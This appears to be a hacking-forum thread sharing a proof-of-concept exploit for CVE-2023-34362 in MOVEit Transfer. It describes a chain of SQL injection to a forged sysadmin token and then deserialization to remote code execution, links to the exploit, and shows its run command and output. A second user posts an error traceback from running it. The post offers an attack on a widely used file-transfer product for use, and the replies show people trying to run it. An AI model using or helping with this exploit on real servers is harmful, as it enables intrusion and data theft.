Remote CVE-2023-34362

[Zodiac]

POC for CVE-2023-34362 affecting MOVEit Transfer

Technical Analysis​

A technical root cause analysis of the vulnerability can be found on our blog:https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/

Summary​

This POC abuses an SQL injection to obtain a sysadmin API access token and then use that access to abuse a deserialization call to obtain remote code execution.

This POC needs to reach out to an Identity Provider endpoint which hosts proper RS256 certificates used to forge arbitrary user tokens - by default this POC uses our IDP endpoint hosted in AWS. By default, the exploit will write a file to C:\Windows\Temp\message.txt. Alternative payloads can be generated by using the ysoserial.net project.

Usage​

python CVE-2023-34362.py https://127.0.0.1
[*] Getting sysadmin access token
[*] Got access token
[*] Getting FolderID
[*] Got FolderID: 963611079
[*] Starting file upload
[*] Got FileID: 965943963
[*] Injecting the payload
[*] Payload injected
[*] Triggering payload via resume call
[+] Triggered the payload!
[*] Deleting uploaded file




Link - https://github.com/horizon3ai/CVE-2023-34362#cve-2023-34362

 

[MLeak]

Traceback (most recent call last):
File "/root/move/MOVEit-Exploit/exploit.py", line 296, in <module>
main()
File "/root/move/MOVEit-Exploit/exploit.py", line 273, in main
encoded_jwt = create_jwt(args.provider)
File "/root/move/MOVEit-Exploit/exploit.py", line 138, in create_jwt
return jwt.encode(payload, private_key, algorithm='RS256', headers=headers)
AttributeError: module 'jwt' has no attribute 'encode'